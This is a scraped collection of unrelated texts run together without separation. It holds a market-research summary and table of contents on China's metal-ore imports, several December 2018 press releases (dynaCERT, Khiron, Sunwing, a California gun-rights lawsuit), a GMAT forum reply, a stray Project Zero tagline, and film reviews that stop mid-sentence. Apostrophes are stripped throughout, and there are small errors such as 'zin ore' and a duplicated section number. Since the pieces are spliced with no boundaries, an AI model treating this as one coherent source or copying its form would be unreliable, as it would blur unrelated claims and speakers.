that of iron ore. In 2017, China imported 17.35 million tons of copper ore with a total value up to USD 26.38 billion. The copper ore reserves in China are only about 4% of the global total. Therefore, China's copper ore industry relies heavily on imports. From 2015 to 2017, the proportion of imported copper ore to copper ore consumption in China stayed above 88%. As the two biggest sources of China's copper ore imports, in 2017, Peru and Chile contributed 28.40% and 26.57% respectively to the import volume of copper ore in China. Manganese ore is a metal mineral with high import value in China. In 2017, China imported 21.26 million tons of manganese ore with a total value up to USD 4 billion. The manganese ore reserves in China are only about 7% of the global total. Therefore, China's reliance on manganese ore imports stays above 80%. South Africa, Australia, Gabon, Ghana and Brazil are the major sources of China's manganese ore imports. In 2017, the manganese ore imported from these countries totaled 19.05 million tons, accounting for about 90% of the total import volume of manganese ore in China. Bauxite is also a metal mineral that has high import value in China. In 2017, its import value reached USD 3,445 million. Because of low unit price, the import volume was up to 68.55 million tons. From 2013 to 2017, China's reliance on bauxite imports fluctuated between 40% and 60%. Guinea and Australia take up the majority of China's bauxite import market. In 2017, their market share totaled about 77%. Chrome ore is also a metal mineral that has high import value in China. China is a chrome ore poor country. In 2017, the national chrome ore reserves were far lower than the import volume of chrome ore. Therefore, China's chrome ore industry is almost 100% reliant on imports. South Africa is the biggest source of China's chrome ore imports. In 2017, chrome ore imported from South Africa accounted for about 72.34% of China's chrome ore imports. Zinc ore is also a metal mineral with high import value in China. In 2017, its import value reached USD 2.25 billion, the highest level from 2013 to 2017. The zinc ore reserves in China totaled 41 million tons, ranking the third in the world. Therefore, China's reliance on zin ore imports is low, fluctuating around 20% in most years. Australia, Peru and Russia are the three biggest sources of China's zinc ore imports, contributing over 80% to the import volume of zinc ore in China. It is expected that from 2019 to 2023, China will continue to import a large quantity of metal minerals such as copper ore, manganese ore, bauxite, chrome ore and zinc ore. Key Topics Covered: 1 Analysis on Copper Ore Import in China 1.1 Overview of Copper Ore 1.2 Analysis on Scale of Copper Ore Import in China 1.2.1 Analysis on Import Volume of Copper Ore in China 1.2.2 Analysis on Import Value of Copper Ore in China 1.2.3 Average Import Prices of Copper Ore in China, 2013-2017 1.3 Analysis on Demand for Copper Ore Imports in China 1.3.1 Analysis on Copper Ore Reserves in China 1.3.2 Analysis on Copper Ore Output in China 1.3.3 Analysis on Copper Ore Consumption in China 1.3.4 Analysis on China's Reliance on Copper Ore Imports 1.4 Analysis on Sources of China's Copper Ore Imports 1.4.1 Analysis on Global Copper Concentrate Trade 1.4.2 Analysis on Peru's Copper Ore Industry 1.4.3 Analysis on Chile's Copper Ore Industry 2 Analysis on Manganese Ore Import in China 2.1 Overview of Manganese Ore 2.2 Analysis on Scale of Manganese Ore Import in China 2.2.1 Analysis on Import Volume of Manganese Ore in China 2.2.2 Analysis on Import Value of Manganese Ore in China 2.2.3 Analysis on Average Import Prices of Manganese Ore in China 2.3 Analysis on Demand for Manganese Ore Imports in China 2.3.1 Analysis on Manganese Ore Reserves in China 2.3.2 Analysis on Manganese Ore Output in China 2.3.3 Analysis on Manganese Ore Consumption in China 2.3.4 Analysis on China's Reliance on Manganese Ore Imports 2.4 Analysis on Sources of China's Manganese Ore Imports 2.4.1 Analysis on Global Manganese Ore Trade 2.4.2 Analysis on South Africa's Manganese Ore Industry 2.4.3 Analysis of Australia's Manganese Ore Industry 3 Analysis On Bauxite Import in China 3.1 Overview of Bauxite 3.2 Analysis on Scale of Bauxite Import in China 3.2.1 Analysis on Import Volume of Bauxite in China 3.2.2 Analysis on Import Value of Bauxite in China 3.2.3 Analysis on Average Import Prices of Bauxite in China 3.3 Analysis on Demand for Bauxite Imports in China 3.3.1 Analysis on Bauxite Reserves in China 3.3.2 Analysis on Bauxite Output in China 3.3.3 Analysis on Bauxite Consumption in China 3.3.4 Analysis on China's Reliance on Bauxite Imports 3.4 Analysis on Sources of China's Bauxite Imports 3.4.1 Analysis on Global Bauxite Trade 3.4.2 Analysis on Guinea's Bauxite Industry 3.4.3 Analysis on Australia's Bauxite Industry 4 Analysis On Chrome Ore Import in China 4.1 Overview of Chrome Ore 4.2 Analysis on Scale of Chrome Ore Import in China 4.2.1 Analysis on Import Volume of Chrome Ore in China 4.2.2 Analysis on Import Value of Chrome Ore in China 4.2.3 Analysis on Average Import Prices of Chrome Ore in China 4.3 Analysis on Demand for Chrome Ore Imports in China 4.3.1 Analysis on Chrome Ore Reserves in China 4.3.2 Analysis on China's Reliance on Chrome Ore Imports 4.4 Analysis on Sources of China's Chrome Ore Imports 4.4.1 Analysis on Global Chrome Ore Trade 4.4.2 Analysis on Chrome Ore Output in South Africa 4.4.3 Analysis on Chrome Ore Output in Kazakhstan 4.4.4 Analysis on Chrome Ore Output in India 4.4.5 Analysis on Chrome Ore Output in Turkey 5 Analysis On Zinc Ore Import in China 5.1 Overview of Zinc Ore 5.2 Analysis on Scale of Zinc Ore Import in China 5.2.1 Analysis on Import Volume of Zinc Ore in China 5.2.2 Analysis on Import Value of Zinc Ore in China 5.2.3 Analysis on Average Import Prices of Zinc Ore in China 5.3 Analysis on Demand for Zinc Ore Imports in China 5.3.1 Analysis on Zinc Ore Reserves in China 5.3.2 Analysis on Zinc Ore Output in China 5.3.2 Analysis on Zinc Ore Consumption in China 5.3.3 Analysis on China's Reliance on Zinc Ore Imports 5.4 Analysis on Sources of China's Zinc Ore Imports 5.4.1 Analysis on Australia's Zinc Ore Industry 5.4.2 Analysis on Peru's Zinc Ore Industry 6 Prospect of Metal Mineral Import in China, 2019-2023 6.1 Analysis on Major Factors Affecting Metal Mineral Import in China 6.1.1 Driving Forces and Market Opportunities 6.1.2 Threats and Challenges 6.2 Forecasts on Metal Mineral Import in China, 2019-2023 For more information about this report visit https://www.researchandmarkets.com/research/h49kkg/china_metal?w=12 Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. TORONTO, Dec. 20, 2018 (GLOBE NEWSWIRE) -- dynaCERT Inc. (TSX VENTURE: DYA) (OTCQB: DYFSF) (FRA: DMJ) (dynaCERT or the Company) is pleased to announce a new initiative in the province of Carinthia, Austria. dynaCERT has Success in Europe dynaCERT management were in Germany and Austria in mid-December 2018 in meetings with government officials and business leaders to discuss the benefits of our HydraGENTM Technology to assist them in the War against NOx. Management has learned first-hand that the European Union has set itself ambitious climate protection goals. By 2050, greenhouse gas emissions are to be reduced by 80 to 95 percent compared to 1990 levels. The statutory targets also include a binding reduction in emissions of 20 percent by 2020 and 40 percent by 2030. To reach these ambitious goals in Austria, the province of Carinthia is partnering with dynaCERT in a large-scale pilot project. The province of Carinthia will order and install 4 HydraGENTM HG145B units on four diesel-powered heavy-duty road vehicles used in Carinthia for delivery in January 2019. The pilot project is to operate for three months and each vehicle will have a continuous portable emissions measuring systems (PEMS) device to record constant changes to the engine emissions while the HydraGENTM Technology is in use. Once the pilot demonstrates successful emission reductions, the province of Carinthia will equip all state-owned diesel-powered vehicles with HydraGENTM Technology which will contribute to the provinces policies on carbon emissions toward achievement of the Austrias EU climate targets. In the mid-December meetings, a letter of intent was entered into in Klagenfurt (Carinthia) between the member of provincial government, Martin Gruber (Peoples Party), and dynaCERT. Mr. Gruber is a member of the same political party as Federal Chancellor Sebastian Kurz and the Austrian Environment Minister Elisabeth Kostinger, the former EU Commissioner for Agriculture and Deputy EU Spokesman for the Committee on the Environment. As written in the letter of intent, Carinthia will assume the role of pioneer in Austria and subsequently in the European Union to ensure that all diesel-powered government heavy vehicles will be equipped with our HydraGENTM Technology. The Peoples Party in Austria and its sister parties in Europe want to make their contribution to achieving the EUs climate change goals. In a statement from LAbg. Mag. Markus Malle, chairman Osterreich Volkspartei (Peoples Party) Karnten & Speaker of the OeVP parliamentary party in the Carinthian Parliament. We regard HydraGENTM as an interesting project for the region of Carinthia, because it may grant advantages economically as well as ecologically, says Mag. Markus Malle, chairman of the Osterreich Volkspartei (Peoples Party) in the regional parliament. We will now take the next necessary steps in the preparation of a pilot project in Carinthia and arrange so it will be possible to realize it." Mr. Jim Payne, dynaCERT President and CEO, states, We very much appreciate the efforts made by the Government of Carinthia to take this strong step in the War against NOx. dynaCERTs HydraGENTM Technology has been tested and proven to provide significant reductions not only in the greenhouse gas (GHG) emissions from diesel engines but will at the same time show financial benefits to the governments with reduced down time, extended engine life, fuel, diesel particulate filter (DPF) and diesel exhaust fluid (DEF) savings. About dynaCERT Inc. dynaCERT Inc. manufactures, distributes, and installs Carbon Emission Reduction Technology for use with internal combustion engines. As part of the growing global hydrogen economy, our patent-pending technology creates hydrogen and oxygen on-demand through electrolysis and supplies these through the air intake to enhance combustion, resulting in lower carbon emissions and greater fuel efficiency. Our technology is designed for use with all types and sizes of diesel engines used in on-road vehicles, reefer trailers, off-road construction, power generation, mining and forestry equipment, marine vessels and railroad locomotives. Website: www.dynaCERT.com READER ADVISORY Except for statements of historical fact, this news release contains certain forward-looking information within the meaning of applicable securities law. Forward-looking information is frequently characterized by words such as plan, expect, project, intend, believe, anticipate, estimate and other similar words, or statements that certain events or conditions may or will occur. In particular, forward-looking information in this press release includes, but is not limited to the potential expansion into new markets, industries and segments, such as diesel-powered use of any of the dynaCERT products and sales. Although we believe that the expectations reflected in the forward-looking information are reasonable, there can be no assurance that such expectations will prove to be correct. We cannot guarantee future results, performance of achievements. Consequently, there is no representation that the actual results achieved will be the same, in whole or in part, as those set out in the forward-looking information. Forward-looking information is based on the opinions and estimates of management at the date the statements are made, and are subject to a variety of risks and uncertainties and other factors that could cause actual events or results to differ materially from those anticipated in the forward-looking information. Some of the risks and other factors that could cause the results to differ materially from those expressed in the forward-looking information include, but are not limited to: uncertainty as to whether our strategies and business plans will yield the expected benefits; availability and cost of capital; the ability to identify and develop and achieve commercial success for new products and technologies; the level of expenditures necessary to maintain and improve the quality of products and services; changes in technology and changes in laws and regulations; the uncertainty of the emerging hydrogen economy; including the hydrogen economy moving at a pace not anticipated; our ability to secure and maintain strategic relationships and distribution agreements; and the other risk factors disclosed under our profile on SEDAR at www.sedar.com . Readers are cautioned that this list of risk factors should not be construed as exhaustive. The forward-looking information contained in this news release is expressly qualified by this cautionary statement. We undertake no duty to update any of the forward-looking information to conform such information to actual results or to changes in our expectations except as otherwise required by applicable securities legislation. Readers are cautioned not to place undue reliance on forward-looking information. Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of the release. On behalf of the Board Murray James Payne, CEO For more information, please contact: Jim Payne, CEO & President dynaCERT Inc. #101 501 Alliance Avenue Toronto, Ontario M6N 2J1 416-766-9691 x 2 jpayne@dynaCERT.com PHOENIX, Dec. 20, 2018 (GLOBE NEWSWIRE) -- Uptick Newswire Stock Day Podcast features Khiron Life Sciences Corp. (Khiron or the Company) (TSXV: KHRN), (OTCQB: KHRNF), (Frankfurt: 4KH), an integrated medical cannabis company with its core operations in Colombia. President of the company, Chris Naprawa, talked with Stock Days Everett Jolly. Khiron is positioned to be the dominant integrated medical cannabis company in Latin America, Naprawa said as he started the interview. This is a market of 620 million people, so thats bigger than Canada, the United States, and Germany combined. Naprawa went on to say theyve been at this for two years and have assembled an elite group of people and have a $75 million market share cap. Jolly then asked how the Latin American legal cannabis market compares to the US and Canada. You need to have a great deal of expertise to understand these markets because its not a singular market, of course, explained Naprawa. I think the biggest news to hit the world is that Mexico is going full legal adult use and medicinal, thats going to happen in the first half of 2019. He describes the news as a real game changer in the cannabis business. The company is based out of Columbia, which is a medical market. He went on to describe how the landscape is changing in various Latin American companies. Rather than being the 125th LP to compete in Canada, we want to be the number one company in these markets, said Naprawa. Jolly then mentioned all of the licenses that come along in the cannabis business and asked how Khiron is positioned in the Latin American markets. Naprawa said many of their peers are focused on low cost cultivation for export into foreign markets, but they have a different approach. We are very focused on selling branded products into that market. Take the low cost cultivation but have big margins, sales, brand, and execution in region we are trying to operate, he explained. Jolly then asked about the recent acquisition of the Latin American Institute of Neurology and the Nervous System (ILANS). Naprawa says its about getting close to the medical marijuana patients. Doctors wont prescribe medication that their medical association wont endorse. Weve been very much focused on educating those associations, getting those endorsements. He then went on to explain that the next part was dealing with patients and clinics. Thats where the partnership with ILANS comes in. ILANS is one of the most respected, fastest growing, and largest health service network providers in Colombia and Latin America. The ILANS network represents 100,000 patients in Colombia. These folks are exactly the types of patients we are looking for, they fit the profile perfectly. As we worked on partnerships with ILANS it became clear if we could strike a deal, we could own that. We were able to close that deal last week, he said. Naprawa says a deal like this helps expedite the patient process and lets them conduct their own clinical trials. To hear the entire interview, listen to the Stock Day podcast: https://upticknewswire.com/featured-interview-president-chris-naprawa-of-khiron-life-sciences-corp-otcqb-khrnf/ About Khiron Life Sciences Corp. Khiron Life Sciences Corp. (TSXV: KRHN, OTCQB: KHRNF, Frankfurt: 4KH) (Khiron or the Company) is positioned to be the dominant integrated medical cannabis company in Latin America. Khiron has core operations in Colombia and is fully licensed in the country for the cultivation, production, domestic distribution, and international export of both tetrahydrocannabinol (THC) and cannabidiol (CBD) medical cannabis. In May 2018, Khiron listed on the TSX Venture Exchange, becoming the first Colombian based medical cannabis company to trade on any exchange globally. With a focused regional strategy and patient-oriented approach, the Company combines global scientific expertise, agricultural advantages, branded product market entrance experience and education to drive prescription and brand loyalty to address priority medical conditions such as chronic pain, epilepsy, depression and anxiety in the Latin American market of over 620 million people. Khiron is led by Co-founder and Chief Executive Officer, Alvaro Torres, together with an experienced executive team, and a knowledgeable Board of Directors that includes the former President of Mexico, Vicente Fox. Further information on Khiron Life Sciences can be found at www.khiron.ca. Investor Contacts: Chris Naprawa President T: +1 (416) 705-1144 E: cnaprawa@khiron.ca Darren Collins Chief Financial Officer T: +1 (705) 527-3564 E: dcollins@khiron.ca Media Contact: Jon Packer Vice President, Communications T: +1 (416) 543-9179 E: jpacker@khiron.ca Forward-Looking Statements This press release may contain certain forward-looking information and statements (forward-looking information) within the meaning of applicable Canadian securities legislation, that are not based on historical fact, including without limitation statements containing the words "believes", "anticipates", "plans", "intends", "will", "should", "expects", "continue", "estimate", "forecasts" and other similar expressions. Readers are cautioned to not place undue reliance on forward-looking information. Actual results and developments may differ materially from those contemplated by these statements. Khiron undertakes no obligation to comment analyses, expectations or statements made by third-parties in respect of Khiron, its securities, or financial or operating results (as applicable). Although Khiron believes that the expectations reflected in forward-looking information in this press release are reasonable, such forward-looking information has been based on expectations, factors and assumptions concerning future events which may prove to be inaccurate and are subject to numerous risks and uncertainties, certain of which are beyond Khirons control, including the risk factors discussed in Khirons Filing Statement which is available on Khirons SEDAR profile at www.sedar.com. The forward-looking information contained in this press release is expressly qualified by this cautionary statement and are made as of the date hereof. Khiron disclaims any intention and has no obligation or responsibility, except as required by law, to update or revise any forward-looking information, whether as a result of new information, future events or otherwise. Neither the TSXV nor its Regulation Services Provider (as that term is defined in the policies of the TSXV) accepts responsibility for the adequacy or accuracy of this press release. About Uptick Newswire and the Stock Day Podcast Founded in 2013, Uptick Newswire is the fastest growing media outlet for Nano-Cap and Micro-Cap companies. It educates investors while simultaneously working with penny stock and OTC companies, providing transparency and clarification of under-valued, under-sold Micro-Cap stocks of the market. Uptick provides companies with customized solutions to their news distribution in both national and international media outlets. Uptick is the sole producer of its Stock Day Podcast, which is the number one radio show of its kind in America. The Uptick Network Stock Day Podcast is an extension of Uptick Newswire, which recently launched its Video Interview Studio located in Phoenix, Arizona. Investors Hangout is a proud sponsor of Stock Day, and Uptick Newswire encourages listeners to visit the companys message board at https://investorshangout.com/ TORONTO, Dec. 20, 2018 (GLOBE NEWSWIRE) -- The first-ever Sunwing flight from Sudbury, Ontario to Montego Bay, Jamaica departed from Greater Sudbury Airport today. The flight marks the first of this seasons new weekly direct flight service from Sudbury to Montego Bay, departing every Thursday until April 11, 2019, inclusive. With the addition of this new flight service, along with the popular Punta Cana service that was offered last winter, residents of the Greater Sudbury area can now depart to two tropical destinations right from their doorstep. President of Tour Operations for Sunwing, Andrew Dawson, commented on the news. Our seasonal flight service from Sudbury has been well-received in past seasons and we are excited to be offering travellers in the Greater Sudbury region with even more ways to Vacation Better this winter by offering two popular vacation destinations for the first time. Sudbury residents can now easily explore all that Montego Bay has to offer with this convenient direct flight service, including its pristine beaches, world-famous tours and excursions and warm Caribbean hospitality. Once again, we are thrilled to welcome Sunwing to Greater Sudbury for another season, said Todd Tripp, CEO of the Greater Sudbury Airport. With Sunwing now offering flight service to Montego Bay, Jamaica, for the 2018-2019 winter season, in addition to its popular flight to Punta Cana in the Dominican Republic, sun destination choices for Sudbury travellers have never been more convenient. Vacationers can choose from a range of resorts for all ages, tastes and budgets in Montego Bay . The recently-renovated Riu Palace Tropical Bay is located on one of the top-rated beaches in the Caribbean and is nestled in an idyllic bay, making it the ideal place for a relaxing beach getaway. The beachfront resort offers modern guestrooms, including options for connecting rooms that can accommodate families of five or more and a host of RIU-topia perks and privileges such as in-room liquor dispensers, daily champagne breakfasts, poolside wait service and more. Vacationers can also choose to stay at the popular Royalton Blue Waters , a top-rated family resort thats home to a lazy river and an on-site water park with water slides and a splash pad. All Sunwing vacation packages include return flights on Sunwing Airlines where passengers can sit back and relax while on board, with award-winning inflight service, complimentary non-alcoholic beverage service and buy on board selection of light meals and snacks with choices inspired by Food Network Canada Celebrity Chef, Lynn Crawford, including the brand-new Tex Mex Grilled Chicken Wrap and famous Mac & Cheese. Passengers also benefit from a generous complimentary 23kg checked luggage allowance. For more information or to book, visit www.sunwing.ca or contact your travel agent. About Sunwing The largest integrated travel company in North America, Sunwing has more flights to the south than any other leisure carrier with convenient direct service from over 33 airports across Canada to over 45 popular sun destinations. This scale enables Sunwing to negotiate the best deals and exclusive offers at all of the top-rated resorts across the Caribbean, Mexico, and Central America. Renowned for its award-winning service, Sunwing is consistently voted the top leisure airline by travel agents and is the perennial winner of the Consumer Choice Award. Customers can look forward to starting their vacation off in style with award-winning inflight service, which features a complimentary glass of sparkling wine*, tea and coffee and non-alcoholic beverage service; together with a buy on board menu of light meals and snacks (including kids choices) inspired by Food Network Canada Celebrity Chef, Lynn Crawford. Sunwing customers also benefit from the assistance of the companys own knowledgeable destination representatives, who greet them upon arrival and support them throughout their vacation journey. *Service may be unavailable on select flights For all media enquiries, please contact: Rachel Goldrick Senior Corporate Communications Manager Sunwing Vacations 1-800-387-5602 | media@sunwing.ca https://www.facebook.com/SunwingVacations https://twitter.com/SunwingVacay https://www.instagram.com/sunwingvacations https://www.youtube.com/channel/UCzjZ-lcuaqBQH7Sq0u3ru7A San Francisco, CA, Dec. 20, 2018 (GLOBE NEWSWIRE) -- Attorneys for two individual California residents and five constitutional rights advocacy groups filed a federal lawsuit challenging the States laws and policies that, they claim, prevent people from exercising their Second Amendment rights. Named defendants in the lawsuit include Attorney General Xavier Becerra, DOJ Bureau of Firearms Chief Martin Horan, and Deputy Attorney General Robert Wilson. A copy of the case filings can be found at www.firearmspolicy.org/linton. Plaintiffs Chad Linton and Paul McKinley Stewart alleged that they had been convicted of non-violent felonies in other states, decades ago, and have since had those felony convictions set aside or vacated. Furthermore, the courts in the States of Washington and Arizona also and specifically restored to them their right to purchase and possess firearms. However, the judgments of those other state courts fell on deaf ears, when it came to restoring their right to purchase and keep firearms here. The Department of Justice, which processes firearm transactions, denied their firearm purchases, even though it was aware of the Washington and Arizona court orders. The complaint, filed in the Northern District of California, asks, In their zeal to prohibit as many citizens from owning firearms as possible, may this State, [California Attorney General Xavier Becerra], and those responsible for the enforcement of Californias firearms laws and policies, ignore the judgments and pronouncements of the courts of other states because they do not prefer the policy outcome? The only honest, constitutionally-grounded answer to these questions must be a resounding no, the plaintiffs say. The court filing says that California has no constitutionally-permissible interest in depriving individuals of their right to own, possess, and bear firearms for all lawful purposes, including self-defense in their homes, when any underlying convictions were remote, non-violent in nature, and adjudged to have been vacated or set aside in those other jurisdictions, claiming that this violates their rights secured by the Second Amendment. The plaintiffs are also relying on other, lesser-used provisions of the Constitution that provide for full faith and credit be given to other state judgments, and that all citizens enjoy the privileges and immunities of every other state. The plaintiffs claim that these clauses of the Constitution do not permit state officials here to deprive people permanently of the right to keep and bear arms, when the courts of other states have specifically set aside or vacated those felonies, and restored their civil rights to them. The State doesnt get to pick and choose which judgments of other states it will honor, and which it will ignore, because it doesnt approve of firearms ownership, said plaintiffs attorney George M. Lee, who is handling the case. Granting full faith and credit to other court judgments is part of the bargain of being one of these United States, he added. The complaint cites court cases which held that there is no public policy exception to the Full Faith and Credit Clause. The plaintiffs are represented by attorney George M. Lee of San Francisco litigation firm Seiler Epstein Ziegler & Applegate LLP. The lawsuit is backed by Firearms Policy Foundation (FPF), Firearms Policy Coalition (FPC), The Calguns Foundation (CGF), Second Amendment Foundation (SAF), and Madison Society Foundation (MSF), also institutional plaintiffs in the case. Anyone who is similarly affected by Californias laws and policies should contact the FPC/FPF Legal Action Hotline at https://www.firearmspolicy.org/hotline or (855) 252-4510 (available 24/7/365) as soon as possible. Firearms Policy Foundation (www.firearmsfoundation.org) is a 501(c)3 grassroots nonprofit organization. FPFs mission is to defend the Constitution of the United States and the Peoples rights, privileges and immunities deeply rooted in this Nations history and tradition, especially the inalienable, fundamental, and individual right to keep and bear arms. Firearms Policy Coalition (www.firearmspolicy.org) is a 501(c)4 grassroots nonprofit organization. FPCs mission is to protect and defend the Constitution of the United States, especially the fundamental, individual Second Amendment right to keep and bear arms. The Calguns Foundation (www.calgunsfoundation.org) is a 501(c)3 non-profit organization that serves its members, supporters, and the public through educational, cultural, and judicial efforts to advance Second Amendment and related civil rights. Second Amendment Foundation (www.saf.org) is the nations oldest and largest tax-exempt education, research, publishing and legal action group focusing on the Constitutional right and heritage to privately own and possess firearms. Founded in 1974, The Foundation has grown to more than 650,000 members and supporters and conducts many programs designed to better inform the public about the consequences of gun control. Madison Society Foundation (www.madison-society.org) is a 501(c)(3) grassroots nonprofit based in California. It promotes and preserves the purposes of the Constitution of the United States, in particular the right to keep and bear arms. MSF provides the general public and its members with education and training on this important right. ### guerrero25 wrote: Hi .. In " C " if the customers 're satisfied with the quality of services , isn't it going to help us evaluate whether discontinuing the newspaper is going to be beneficial for the restaurant?Since , the customers 're satisfied with the services , they 're likely to visit the restaurant again ? What am I missing To answer your question, the future of the newspaper ad has no bearing on whether customers who have already come through the door are satisfied. Once the customers visit the restaurant the first time, the ad has done its job.If you're strictly evaluating the effectiveness of the ad, all you need to know is if the ad brings in more money than it costs (or if it has the potential to, in the case of A)Edit: and for the record, my answer is C. News and updates from the Project Zero team at Google Emily Blunt as Mary Poppins in Mary Poppins Returns. Mary Poppins Returns is magical Everything old is new again seems to be the mantra at Disney Studios where their movies are concerned. Never mind the Marvel Films and Star Wars franchises, when it comes to Disney properties, the powers that be at the Mouse House are plumbing the vaults, plucking out previously successful projects and repackaging them for a new generation. The success of live-action versions of Cinderella, The Jungle Book and Beauty and the Beast, have opened up a new revenue stream for the studio and new versions of Dumbo and The Lion King will be gracing screens soon enough. Yalitza Aparicio as Cleo in Roma. Christian Bale as Dick Cheney in Vice. Jennifer Lopez and Leah Remini in Second Act. Disneys latest foray into dusting something off and putting a new shine on it is Mary Poppins Returns, a follow-up to their 1964 Oscar-winner that manages to recreate a bit of the old magic from the Julie Andrews vehicle. Using the newest in animation technology and a series of jaunty songs that are good enough to stand alongside tunes from the original by Richard and Robert Sherman, the belated sequel is an unexpected delight. However, whether kids today will be interested in seeing people dance with animated penguins remains to be seen.Picking up 25 years after the original, the Banks family is in trouble once more. Now grown, Michael (Ben Whisaw) is a recent widower grappling with raising his three young children, Anabel, Georgie and John (Pixie Davies, Joel Dawson and Nathaniel Saleh) with the help of his sister Jane (Emily Mortimer). To add to his woes, the grieving father has forgotten to pay the mortgage on the family home for months and now faces foreclosure. As if on cue, the clouds part and who shows up on the scene but the nanny with all the answers, Mary Poppins (a delightful Emily Blount).The plot is of the barebones variety and is forgotten nearly as soon as its set up. The screenplay by David Magee is nothing but a series of setups for the elaborate musical numbers choreographed by director Rob Marshall (Chicago, Into the Woods). Working with songs by Marc Shaiman and Scott Wittman (Hairspray), the filmmaker lets his imagination run wild with Can You Imagine That?, an elaborate romp in which the Banks children go from the bathtub into a frothy ocean of suds populated with helpful dolphins and giant rubber ducks; The Cover is Not the Book finds the nanny, her charges and lamplighter Jack (Lin-Manuel Miranda) frolicking about a vibrant animated world, rubbing elbows with a myriad of colorful animals; and Turning Turtle centers on a visit to an antique shop owned by Poppins cousin Topsy (Meryl Streep) that just happens to turn upside down on Wednesdays.These three numbers are the highlights in a sea of riches, each of them executed with a sense of enthusiasm thats infectious. Even if youre not a fan of musicals, youll likely find yourself tapping your foot or smiling from ear to ear. To be sure, Mary Poppins Returns is nothing but fluff, but its pretty magical fluff all the same. Chuck KoplinskiThe opening shot of Alfonso Cuarons gorgeous autobiographical film Roma is a curious one at first. The sound of scrubbing is paired with the image of water washing away soap and dirt down a drain. This is repeated again and again. It serves as a simple metaphor, not only for the family at its center but also for life itself. Mistakes are made, disasters occur and clean slates are needed.The agent of renewal for the household in question is Cleo (Yalitza Aparicio), the unassuming maid who wipes away tears, cleans up messes, tucks children in and lends a concerned ear whenever necessary. She is the glue, as well as the heart and soul, that holds this family together. Cuaron has been upfront about the fact that Roma is a tribute to her as well as to his mother (Sofia in the film, played wonderfully by Marina de Tavira), the two women who saw him through a tumultuous childhood and made him the man he is today.To provide a plot summation would be akin to listing events that may seem mundane. Relationships begin and end, childhood crises crop up and are solved, an unexpected pregnancy occurs, a household is irreparably altered and a tragedy is narrowly averted. Life, with all of its joys and woes, is on display, gorgeously shot as if through a warm, gossamer lens. Serving as his own cinematographer, Cuaron renders these memories of Mexico City in the early 1970s with an eye for detail that culminates in a nostalgic look backwards to a world that hasnt changed all that much.Theres an organic feel to the movie, grounded in naturalistic turns from most of the cast. As you might expect, theres not a calculated moment from Diego Cortina Autrey, Carlos Peralta, Marco Graf and Daniela Demesa who inhabit the childrens roles in the sort of genuine manner only the uninitiated can exhibit.This quality is never more evident than in Aparicios performance. Having accompanied her sister to the open call for the film near their home in Tlaxiaco, Mexico, she had no intention of auditioning for a part. Yet, Cuaron plucked her from the crowd and gave her the lead role. It was a wise choice. Theres an unassuming quality about her that makes Cleo all too human and relatable. There are no affectations to her performance. Shes able to create an authenticity about her character that has us sympathizing with her from the moment she appears on screen. While some may discount her efforts as those of a well-directed amateur, pay heed to an unbroken, traumatic sequence that occurs in a hospital. No trained actress could break your heart more powerfully than she does in this moment.A loving ode of praise, Roma is a work with international appeal and reach. Cuaron powerfully reminds us that theres nothing inconsequential in the eyes of a child. Being continually present and aware of their concerns is a kind of magic all its own.Chuck KoplinskiRoma is available on Netflix.A magical thing happens in Adam McKays Vice. There comes a time and it doesnt take long before you cease seeing Christian Bale in the title role and are convinced youre watching Dick Cheney himself, speaking out of the side of his mouth, his measured, deliberate cadence manipulating everyone around him. Its what every performer wants to completely disappear so that nothing of themselves is present and all thats seen is the character theyve been hired to portray.This transformation is one of the many delights in McKays black-as-midnight-in-a-coal-mine comedy that recounts the destruction wrought between 2001 and 2008 when Cheney served as vice president to President George W. Bush. Usurping power from a variety of government agencies that were not normally under his offices purview, he was able to manipulate and create policy for his own personal gain. McKay posits that these actions were due to his being bullied and neglected by his father.Its a damning indictment and an intriguing one as well, a social disaster you cant tear yourself away from. McKay briskly moves from one Machiavellian moment to the next. We see Cheney thrown out of Yale, being given a stern, life-altering talking to by his domineering wife Lynne (Amy Adams), becoming a member of the congressional intern program where hes taken under the wing of Donald Rumsfeld (a slimy Steve Carrell), becoming the youngest chief of staff, for President Ford, his failed bid for a seat in Congress and his ingratiating himself into the Bushes inner circle.Its a dizzying journey and at times all of the information thrown at the viewer threatens to be overwhelming. McKay deftly balances humor and drama, keeping the audience on its toes with an occasional curveball or two. Of particular note is the presence of Naomi Watts as an imaginary Fox News reporter who chimes in occasionally from the news desk to comment on Cheneys actions. Alfred Molino pulls off the cameo of the year as a waiter at a posh D.C. eatery serving Cheney, Rumsfeld and his cronies. He lists legal maneuvering such as the Patriot Act, imprisonment in Guantanamo Bay and other underhanded acts as if they were a menu of entrees. It comes as no surprise that the VP orders them all.The veteran cast rises to the occasion to play these historical figures, all of them inhabiting their characters with a slightly comic tone that deceptively dulls the edge of their manipulative nature. Sam Rockwell captures Bushs one-step-behind-everyone demeanor to a tee, while Tyler Perry steals each scene hes in as the conflicted Colin Powell, reluctantly showing allegiance to the commander-in-chief at the cost of his soul.In the end, McKay bites off more than he can chew, trying to touch on and wrap up far too many Cheney anecdotes. Yet that plays to Vices advantage. This lack of closure effectively underscores the fact that the results of his deeds are still being felt, a ripple effect that continues to wreak havoc. Chuck KoplinskiThere are hurricanes, tornadoes, forest fires, earthquakes and many other disasters. Then theres Second Act.A cinematic cataclysm of astounding proportions, this rom-com from veteran comedy director Peter Segal (Tommy Boy, 50 First Dates) is bad in the way only an earnestly acted, poorly written film can be. With Jennifer Lopez in the lead role, you know right out of the gate there will be no shortage of overly sincere moments and obvious reactions. Her character, underappreciated everywoman Maya, tries to make her mark in a world that doesnt appreciate her. By the end of this disaster, you wont want much to do with her either.Having missed her opportunity to go to college when she became pregnant as a teen, Maya gave up her daughter for adoption and began working a series of menial jobs, eventually scrambling her way to the top of the retail world as assistant manager at a local foods store, where her innovations have proved successful. However, when shes passed over for a promotion because she lacks a college degree, she hits rock bottom, lamenting to her best friend Joan (Leah Remini) and her teenage son Dylan (Dalton Harrod) about the injustice of it all. Taking matters into his own hands, the young man creates a fake resume and website touting Mayas false virtues and, presto chango, she has a job at Franklin and Clarke, one of the largest beauty products corporations in the world. Before you know it, shes living in a corporate apartment off Central Park and is competing with his bosss adopted daughter Zoe (Vanessa Hudgens) to come up with a profitable organic beauty product line.Eschewing intelligence and originality as if they were twin plagues, the script by Justin Zackham and Elaine Goldsmith-Thomas is a pastiche of cliched plot points and You gotta be kidding me! twists. The result is a movie thats dead on arrival, a collection of tired bits and ridiculous moments that will have 